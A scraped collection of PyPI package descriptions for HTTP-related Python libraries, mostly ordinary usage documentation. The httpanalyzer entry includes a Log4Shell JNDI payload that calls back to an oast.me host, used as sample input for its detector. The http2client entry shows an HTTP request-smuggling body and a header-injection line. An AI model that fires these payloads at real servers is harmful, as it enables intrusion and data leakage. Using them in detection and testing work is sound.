Saravanan666/pypi-org huggingface dataset:
Package: htsql_excel
Thehtsql_excelpackage is an extension forHTSQLthat adds basic
support for the Excel file format.InstallationInstall this package like you would any other Python package:$ pip install htsql_excelThen, enable thehtsql_excelextension when you invoke HTSQL. E.g.:$ htsql-ctl -E htsql_excel ...Or, in your HTSQL configuration YAML file:htsql:
  db: ...
htsql_excel:FormattersThis extension adds two formatter functions to HTSQL:/:xlsand/:xlsx.
They are tabular formatters (like/:csv) that will output the results in
in either XLS format (the binary format used prior to Excel 2007) or XLSX (the
Office Open XML format introduced with Excel 2007).License/CopyrightThis project is licensed under the GNU Affero General Public License, version
3. See the accompanyingLICENSE.rstfile for details.Copyright (c) 2016, Prometheus Research, LLC
Package: htsql_xport
Thehtsql_xportpackage is an extension forHTSQLthat adds basic
support for SAS V5 XPORT transfer files.InstallationInstall this package like you would any other Python package:$ pip install htsql_xportAdd extension in your settings.yaml file:htsql_extensions:
    htsql_xport:Or:mart_htsql_extensions:
    htsql_xport:FormattersThis extension adds a formatter function to HTSQL:/:xpt.
It will output the results in SAS V5 XPORT transfer file format.
Package: htstabilizer
Hardware-Tailored Stabilizer Circuits Python libraryThis library provideshardware-tailoredquantum Clifford circuits forstabilizer state preparationormeasurementas well asmutually unbiased bases in order to perform more efficientfull-state tomographyon small qubit systems.Hereby, two-qubit gate count is minimized. All delivered circuits are designed to fully comply to a desired hardware connectivity,avoiding additional swap operations altogether.InstallationYou can install this package fromPyPiviapip install htstabilizeror you can clone therepositoryand include it into your project.Tailored to your hardware connectivityA total of 19 connectivities are currently supported, ranging from 2 to 6 qubits. For each supported number of qubits, circuits for full connectivity and line connectivity are available. Additionally, other connectivities that occur in current quantum chips or which are subgraphs of existing hardware are supported.All currently available connectivities are shown below.Usagefromhtstabilizer.stabilizer_circuitsimport*pqc=get_preparation_circuit(Stabilizer(["XZZ","ZXI","ZIX"]),"linear")rqc=get_readout_circuit(Stabilizer(["XZZ","ZXI","ZIX"]),"linear")qc=QuantumCircuit(5)# ... build Clifford circuitcompressed_qc=compress_preparation_circuit(qc,"T")ExamplesView examples for exploring the functionality:Compressing Clifford preparation circuitsGenerating readout circuitsPerform state tomographyLicenseMIT License
Package: httmock
httmockA mocking library forrequestsfor Python 2.7 and 3.4+.Installationpip install httmockOr, if you are a Gentoo user:emerge dev-python/httmockUsageYou can use it to mock third-party APIs and test libraries that userequestsinternally, conditionally using mocked replies with theurlmatchdecorator:fromhttmockimporturlmatch,HTTMockimportrequests@urlmatch(netloc=r'(.*\.)?google\.com$')defgoogle_mock(url,request):return'Feeling lucky, punk?'withHTTMock(google_mock):r=requests.get('http://google.com/')printr.content# 'Feeling lucky, punk?'Theall_requestsdecorator doesn't conditionally block real requests. If you return a dictionary, it will map to therequests.Responseobject returned:fromhttmockimportall_requests,HTTMockimportrequests@all_requestsdefresponse_content(url,request):return{'status_code':200,'content':'Oh hai'}withHTTMock(response_content):r=requests.get('https://foo_bar')printr.status_codeprintr.contentIf you pass inSet-Cookieheaders,requests.Response.cookieswill contain the values. You can also useresponsemethod directly instead of returning a dict:fromhttmockimportall_requests,response,HTTMockimportrequests@all_requestsdefresponse_content(url,request):headers={'content-type':'application/json','Set-Cookie':'foo=bar;'}content={'message':'API rate limit exceeded'}returnresponse(403,content,headers,None,5,request)withHTTMock(response_content):r=requests.get('https://api.github.com/users/whatever')printr.json().get('message')printr.cookies['foo']
Package: httoop
httoopAn object oriented HTTP/1.1 library. (HTTP/2 will probably follow in the future).Httoop can be used to parse, compose and work with HTTP-Request- and Response-Messages.It is an generic library for implementing HTTP servers, clients, caches and proxies.Httoop provides an powerful interface using the vocabularity used in RFC 7230 - 7235 and focuses on implementing HTTP "compliant" as defined inRFC 7230 Section 2.5."An implementation is not compliant if it fails to satisfy one or more of the MUST or REQUIRED level requirements for the protocols it implements."RFC 2616 Section 1.2On top of the object oriented abstraction of HTTP httoop provides an easy way to support WSGI.HTTP and extensions are defined in the following RFC's:HTTP/1.1 RFC 7230Message Syntax and RoutingHTTP/1.1 RFC 7231Semantics and ContentHTTP/1.1 RFC 7232Conditional RequestsHTTP/1.1 RFC 7233Range RequestsHTTP/1.1 RFC 7234CachingHTTP/1.1 RFC 7235AuthenticationHypertext Transfer Protocol -- HTTP/1.1 (RFC 2616)HTTP/2 RFC 7540Hypertext Transfer Protocol Version 2HTTP/2 RFC 7541HPACK: Header Compression for HTTP/2IANA HTTP Status CodesIANA HTTP MethodsIANA Message HeadersIANA URI SchemesIANA HTTP Authentication SchemesIANA HTTP Cache DirectivesRFC 5987Character Set and Language Encoding for Hypertext Transfer Protocol (HTTP) Header Field ParametersUniform Resource Identifier (URI) (RFC 3986)Internet Message Format (RFC 822,2822,5322)HTTP Authentication: Basic and Digest Access Authentication (RFC 2617)HTTP Authentication-Info and Proxy-Authentication-Info Response Header Fields (RFC 7615)HTTP Digest Access Authentication (RFC 7616)The 'Basic' HTTP Authentication Scheme (RFC 7617)Additional HTTP Status Codes (RFC 6585)Forwarded HTTP ExtensionRFC 7239Prefer Header for HTTPRFC 7240PATCH Method for HTTP (RFC 5789)JavaScript Object Notation (JSON) Patch (RFC 6902)Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP) (RFC 6266)Upgrading to TLS Within HTTP/1.1 (RFC 2817)Transparent Content Negotiation in HTTP (RFC 2295)HTTP Remote Variant Selection Algorithm -- RVSA/1.0 (RFC 2296)HTTP State Management Mechanism (RFC 6265)Same-site Cookies (Draft 7)HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV) (RFC 4918)Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0) (RFC 2324)Extended information about hypermedia, WWW and how HTTP is meant to be used:Web Linking (RFC 5988)Representational State TransferRESTREST APIs must be hypertext-drivenSpecializationNo REST in CMISOn software architectureIt is okay to use POSTPaper tigers and hidden dragonsEconomies of scaleRichardson Maturity ModelTest Cases for HTTP Content-Disposition header fieldCross-Origin Resource SharingHTTP (HTML) LeaksOAuth 2.0:OAuth Working Group SpecificationsOAuth 2.0 Security Best Current PracticeThe OAuth 2.0 Authorization FrameworkBearer Token UsageJSON Web Token (JWT)JSON Web Token (JWT) Profile for OAuth 2.0 Access TokensResource Indicators for OAuth 2.0
Package: http
http is heavily inspired by theHTTP::Messagedistribution.Synopsis>>> from http import Request
>>> request = Request('GET', 'http://pypi.python.org')
>>> print request.method
GETComponentshttp provides a few components to build HTTP messages:Headers: a class to manipulates HTTP headersRequest: a class to encapsulate a HTTP requestResponse: a class to encapsulate a HTTP responseDate: a class to convert date to and from ISO 8601Url: a class to manipulate urlHeaders>>> from http import Headers
>>> h = Headers()
>>> h.add('Content-Type', 'application/json')Request>>> from http import Request
>>> r = Request('GET', 'htttp://lumberjaph.net')Response>>> from http import Response
>>> r = Response(200)LinksDocumentation.Repository.How to get?Install with “pip” command:$ pip install httpor check out development version:$ git clone git://github.com/franckcuny/http.git
Package: http1
HTTP1 is a wrapper around httplib to perform HTTP requests in a single
call. For instance, to get PyPI index of packages, you might write:import http1

print http1.request('http://pypi.python.org/simple/').bodyWorks on both Python 2 and 3 (was tested on2.7.10and3.4.3).request() methodThis method performs an HTTP request. The signature of the request
method is the following:request(url, params={}, method='GET', body=None, headers={},
        content_type=None, content_length=True, username=None,
        password=None, capitalize_headers=True,
        follow_redirect=True, max_redirect=3)The parameters are the following:url: the URL call, including protocol and parameters (such ashttp://www.google.com?foo=1&bar=2).params: URL parameters as a map, so that{‘foo’: 1, ‘bar’: 2}will
result in an URL ending with?foo=1&bar=2.method: the HTTP method (such asGETorPOST). Defaults toGET.body: the body of the request as a string. Defaults toNone.headers: request headers as a dictionnary. Defaults to{}.content_type: the content type header of the request. Defauls toNone.content_length: tells if we should add content length headers to the
request. Defaults toTrue.username: username while performing basic authentication, must be set
with password.password: password while performing basic authentication, must be set
with username.capitalize_headers: tells if headers should be capitalized (so that
their names are all likeContent-Typefor instance).follow_redirect: tells if http1 should follow redirections (status
codes3xx). Defaults toTrue.max_redirect: maximum number of redirections to follow. If there are
too many redirects, a TooManyRedirectsException is raised. Defaults
to3.This method returns the response as a Response object described
hereafter.May raise aTooManyRedirectsException.NOTE: to call HTTPS URLs, Python must have been built with SSL
support.There are dedicated functions for HTTP methods (GET,HEAD,POST,PUT,DELETE,CONNECT,OPTIONSandTRACE). Thus, to perform a
head call for instance, you may write:response = http1.head('http://www.example.com')Which is the same as:response = http1.request('http://www.example.com', method='HEAD')Response objectThis object encapsulates status code (200,404, as an integer),
message (such asOK,Not Found, as a string), headers (as a
dictionnary), and body (as a string).TooManyRedirectsExceptionThis exception is thrown when there have been too many redirects (that
is a number of refirects greater thanmax_redirect).Enjoy!
Package: http2client
http2clientA simple HTTP/2 client for Cyber SecurityUseage:importh2.connectionimporthttp2clientimportjsonconfig=h2.connection.H2Configuration()config.validate_outbound_headers=Falseconfig.validate_inbound_headers=Falseconfig.normalize_outbound_headers=Falses=http2client.Session("httpbin.org",443,config=config,http2_prior_knowledge=True)body=b'0\r\n\r\nGET /404 HTTP/1.1\r\nx: x'headers=[(':method','POST'),(':path',"/anything"),(':authority',"httpbin.org"),(':scheme','https'),# ('User-Agent', 'testet\r\nTransfer-Encoding: chunked'),('content-length',len(body)),]# If the headers is set, the url will be ignoredstream1=s.post("https://httpbin.org",headers=headers,data=body)stream2=s.get("https://httpbin.org/anything")print(json.loads(stream1.getData()))print(json.loads(stream2.getData()))resp=http2client.request("GET","https://httpbin.org/anything",http2_prior_knowledge=True,normalize=False,validate=False,timeout=10)print(resp.getHeaders())print(json.loads(resp.getData()))
Package: http3
HTTP3HTTP3 is a next-generation HTTP client for Python 3.Note:This project should be considered as an "alpha" release. It is substantially API complete, but there are still some areas that need more work.Let's get started...>>>importhttp3>>>r=http3.get('https://www.example.org/')>>>r<Response[200OK]>>>>r.status_code200>>>r.protocol'HTTP/2'>>>r.headers['content-type']'text/html; charset=UTF-8'>>>r.text'<!doctype html>\n<html>\n<head>\n<title>Example Domain</title>...'FeaturesHTTP3 builds on the well-established usability ofrequests, and gives you:A requests-compatible API.HTTP/2 and HTTP/1.1 support.Support forissuing HTTP requests in parallel.(Coming soon)Standard synchronous interface, butwithasync/awaitsupport if you need it.Ability tomake requests directly to WSGI or ASGI applications.Strict timeouts everywhere.Fully type annotated.100% test coverage.Plus all the standard features ofrequests...International Domains and URLsKeep-Alive & Connection PoolingSessions with Cookie PersistenceBrowser-style SSL VerificationBasic/Digest Authentication(Digest is still TODO)Elegant Key/Value CookiesAutomatic DecompressionAutomatic Content DecodingUnicode Response BodiesMultipart File UploadsHTTP(S) Proxy Support(TODO)Connection TimeoutsStreaming Downloads.netrc Support(TODO)Chunked RequestsInstallationInstall with pip:$pipinstallhttp3HTTP3 requires Python 3.6+DocumentationProject documentation is available atwww.encode.io/http3/.For a run-through of all the basics, head over to theQuickStart.For more advanced topics, see theAdvanced Usagesection, or
the specific topics on makingParallel Requestsor using theAsync Client.TheDeveloper Interfaceprovides a comprehensive API reference.DependenciesThe HTTP3 project relies on these excellent libraries:h2- HTTP/2 support.h11- HTTP/1.1 support.certifi- SSL certificates.chardet- Fallback auto-detection for response encoding.idna- Internationalized domain name support.rfc3986- URL parsing & normalization.brotlipy- Decoding for "brotli" compressed responses.(Optional)A huge amount of credit is due torequestsfor the API layout that
much of this work follows, as well as tourllib3for plenty of design
inspiration around the lower level networking details.— ⭐️ —HTTP3 isBSD licensedcode. Designed & built in Brighton, England.
Package: httpackage
httpackage: Python HTTP Server ModuleOverviewhttpackage is a Python module that provides a simple HTTP server implementation. It allows you to define routes and corresponding handler functions, making it easy to create basic web applications or APIs. The module is distributed under the Apache License 2.0, giving you the freedom to use, modify, and distribute the code.Licensehttpackage is licensed under theApache License 2.0. You can find a copy of the license in theLICENSEfile.Installationhttpackage does not require any special installation steps. Simply runpip install httpackagein your python terminal and start using it.UsageThe module provides theserverclass, which you can use to create an HTTP server. Below is an example of how to use theserverclass:from httpackage import server

# Create an instance of the server
app = server()

# Define routes using the `site` decorator
@app.site('/')
def home():
    return 'Hello, world!'

@app.site('/about')
def about():
    return 'This is the about page.'

# Run the server
if __name__ == '__main__':
    app.run(host='localhost', port=8080)In the above example, we create a simple web application with two routes ('/' and '/about'). Thehomeandaboutfunctions are the handlers for each route, which return the respective response.APIclass server__init__(self)Create an instance of the HTTP server.site(self, path)A decorator function used to define routes and their corresponding handler functions.path: The URL path for the route.serve(self, environ, start_response)A method to handle incoming HTTP requests.environ: The WSGI environment dictionary containing request details.start_response: A callback function to begin the HTTP response.run(self, host='localhost', port=8080)Start the HTTP server and begin serving requests.host: The hostname or IP address on which the server will listen.port: The port number on which the server will listen.SupportFor any questions or concerns, please contactsupport@example.com.
Package: httpagentparser
FeaturesFastDetects OS and Browser. Does not aim to be a full featured agent parserWill not turn into django-httpagentparser ;)Usage>>>importhttpagentparser>>>s="Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.9 (KHTML, like Gecko)\Chrome/5.0.307.11 Safari/532.9">>>print(httpagentparser.simple_detect(s))('Linux','Chrome 5.0.307.11')>>>print(httpagentparser.detect(s)){'os':{'name':'Linux'},'browser':{'version':'5.0.307.11','name':'Chrome'}}>>>s="Mozilla/5.0 (Linux; U; Android 2.3.5; en-in; HTC_DesireS_S510e Build/GRJ90)\AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1">>>print(httpagentparser.simple_detect(s))('Android Linux 2.3.5','Safari 4.0')>>>print(httpagentparser.detect(s)){'dist':{'version':'2.3.5','name':'Android'},'os':{'name':'Linux'},'browser':{'version':'4.0','name':'Safari'}}Historyhttp://stackoverflow.com/questions/927552/parsing-http-user-agent-string/1151956#1151956
Package: httpanalyzer
httpanalyzerThis is a python library for analyzing http-request. Useful to reduce unnecessary traffic.LicenseThis project is licensed under the MIT-license. See LICENSE.txt for more information.InstallingMake sure pip3 is installed and up to date before executing this command.pip3 install httpanalyzerUsageImport the library:import httpanalyzerCreate a new request instance:instance = httpanalyzer.Request(http_headers, ip, url, admin_panels)Print the malicious rating:print(instance.malicious())Exampleimport httpanalyzer

instance = httpanalyzer.Request(
    {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
     'Accept-Encoding': 'gzip, deflate, br',
     'Accept-Language': 'en-US,en;q=0.5',
     'Connection': 'keep-alive',
     'Host': '127.0.0.1:80',
     'User-Agent': 'curl/7.82.0'},
    '159.223.205.51',
    '/api/geojson?url=${jndi:ldap://${sys:os.name}.cd387hid68000106u4rtc.oast.me}',
    ['wp-content', 'wp-config', 'wp-includes', 'wp-admin', 'admin']
)
print(f"Malicious rating: {instance.malicious() * 100}%")Admin PanelsTo reduce the amount of false positives, specify all admin panels you are using. For WordPress this would be['wp-content', 'wp-config', 'wp-includes', 'wp-admin', 'admin'].Flaskhttpanalyzer natively supports flask request objects:instance = httpanalyzer.FlaskRequest(flask.request)DependenciesPython 3.6 or newer is required. Older versions do not work.
Package: http-api
DescriptionThis is a basic HTTP API based on the processes that Flask uses, but in a simple (and more limitating) way.
It's meant to be easy to use and short to the pointI described a lot the process in the source. Don't be shy to check it out if you want to understand it
There's also an example.py with some basics insideFunctionnalitiesRoutes with variablesRequest handlerSecurity handler (which can be modified with an abstract class already present)Basic example :from http_api.server import HTTPServerAPI
http = HTTPServerAPI()

@http.url("/")
def index():
    # Do something

http.run()Security concernsHTTPServer :https://docs.python.org/3/library/http.server.html
Package: http-api-sdk
HTTP-API-SDK包含PHP/Java/Python/NodeJS四种编程语言SDK。Github：https://github.com/ksust/HTTP–API安装：pip install http-api-sdk引入from httpapi.HTPSDK import *

sdk = HTTPSDK.httpGet(request.body)发布命令python setup.py sdist bdist_wheel --universal

twine upload dist/*Demo：#!/usr/bin/env python
# -*-coding:utf-8-*-
"""
Demo Push
HTTP-API Python SDK(Python2、python3)
 * Created by PyCharm.
 * User: yugao
 * version 2.2.2
 * Note: HTTPSDK for Python(适用于版本2.2.2插件):用于解析插件消息、构造返回数据，以及HTTP推送（发起HTTP请求）
 * Contact: 开发者邮箱 admin@ksust.com
"""

from httpapi.HTTPSDK import *

if sys.version_info.major == 2:
        reload(sys)  # python2请配置相应编码
        sys.setdefaultencoding('utf8')
        sys.setdefaultencoding('gb18030')

push = HTTPSDK.httpPush("http://127.0.0.1:8080")
print(push.getGroupList())
print(push.sendPrivdteMsg('QQ', '你好'))

forward = HTTPSDK.msgForwardPush('QQ', '授权码')
print(forward.getGroupList())
print(forward.getLoginQQ())
print(forward.sendPrivdteMsg('QQ', '你好'))
print(forward.getQQRobotInfo())
Package: httparse
httparsePython wrapper for Rust'shttparse.
See this project onGitHub.ExamplefromhttparseimportRequestParserparser=RequestParser()buff=b"GET /index.html HTTP/1.1\r\nHost"parsed=parser.parse(buff)assertparsedisNone# a partial request, so we try again once we have more databuff=b"GET /index.html HTTP/1.1\r\nHost: example.domain\r\n\r\n"parsed=parser.parse(buff)assertparsedisnotNoneassertparsed.method=="GET"assertparsed.path=="/index.html"assertparsed.version==1assertparsed.body_start_offset==len(buff)headers=[(h.name.encode(),h.value)forhinparsed.headers]assertheaders==[(b"Host",b"example.domain")]
Package: httpauth
a WSGI middleware that secures some/all routes using HTTP Digest Authentication.Installationpip install httpauthUsing with credentials dictionarysecured_wsgi_app = httpauth.DictHttpAuthMiddleware(
   {'user1': 'password1', 'user2': 'password2'},
   wsgi_app=unsecured_wsgi_app,
   #realm='Secured Content', # optional
)Using with a.htdigestfilesecured_wsgi_app = httpauth.DigestFileHttpAuthMiddleware(
   open('/path/to/your/.htdigest'),
   wsgi_app=unsecured_wsgi_app,
).htdigestfiles can be created using thehtdigestApache tool.Securing only some URLsIf given, theroutesparameter (a list of regular expressions) specifies
the URLs to be secured.  (By default, all URLs are secured.)secured_wsgi_app = httpauth.DictHttpAuthMiddleware(
   {'user': 'password'},
   wsgi_app=unsecured_wsgi_app,
   routes=['^/admin/', '^/another/secret/page/$'],
)
Package: httpauthproxy
A simple Python 3 service that accepts HTTP requests with anAuthorizationheader, and authenticates the credentials against an
identity backend service, such as LDAP.This is particularly useful in combination withngx_http_auth_request_module.Usageusage: authproxy [-h] [-b BIND] -u URL [--ca-certs-file] [--ca-certs-dir]
                 [--no-verify] [--ldap-user-pattern] [--ldap-member-attr]

Simple HTTP server to proxy authentication requests.

optional arguments:
  -h, --help            show this help message and exit
  -b BIND, --bind BIND  IP:port to bind to (default: 127.0.0.1:8018)
  -u URL, --url URL     URL of auth server (multiple, required)
  --ca-certs-file       Path to CA certs bundle file
  --ca-certs-dir        Path to directory containing CA certs
  --no-verify           Skip TLS verification
  --ldap-user-pattern   User DN string with {} for username
  --ldap-member-attr    User attribute containing group membershipsExampleauthproxy-uldaps://ipa.localdomain.tld\--ca-certs-file/etc/ipa/ca.crt\--ldap-user-patternuid={},cn=users,cn=accounts,dc=localdomain,dc=tld
Package: http-basic-auth
# http-basic-auth[![Build Status](https://travis-ci.org/bugov/http-basic-auth.svg?branch=master)](https://travis-ci.org/bugov/http-basic-auth)Yep, it's one more HTTP Basic Auth python lib. The second. And I triedto use the first, but it had a bug (which I fixed) and... completelywrong realisation of non-latin encoding/decoding.# Install```bashpip3 install http-basic-auth```# ♥️ RFCIt supports only RFC-2617 (RFC-7617 planning).If you find some mistake – please write to [issue list 🐨](https://github.com/bugov/http-basic-auth/issues).# ♥️ Non-latin symbolshttp-basic-auth ♥ utf-8```bash→ curl --user name:пароль https://httpbin.org/headers{"headers": {"Accept": "*/*","Authorization": "Basic bmFtZTrQv9Cw0YDQvtC70Yw=","Connection": "close","Host": "httpbin.org","User-Agent": "curl/7.54.0"}}```And even```bash→ curl --user 😁:пар:öль https://httpbin.org/headers{"headers": {"Accept": "*/*","Authorization": "Basic 8J+YgTrQv9Cw0YA6w7bQu9GM","Connection": "close","Host": "httpbin.org","User-Agent": "curl/7.54.0"}}```All works well```pythonfrom http_basic_auth import generate_header, parse_headerassert "Basic 8J+YgTrQv9Cw0YA6w7bQu9GM" == generate_header('😁', 'пар:öль')assert ('😁', 'пар:öль') == parse_header("Basic 8J+YgTrQv9Cw0YA6w7bQu9GM")```# Provides functions- `generate_header`: `(user, password) → "Basic <token>"`- `parse_header`: `"Basic <token>" → (user, password)`- `generate_token`: `(user, password) → "<token>"`- `parse_token`: `"<token>" → (user, password)`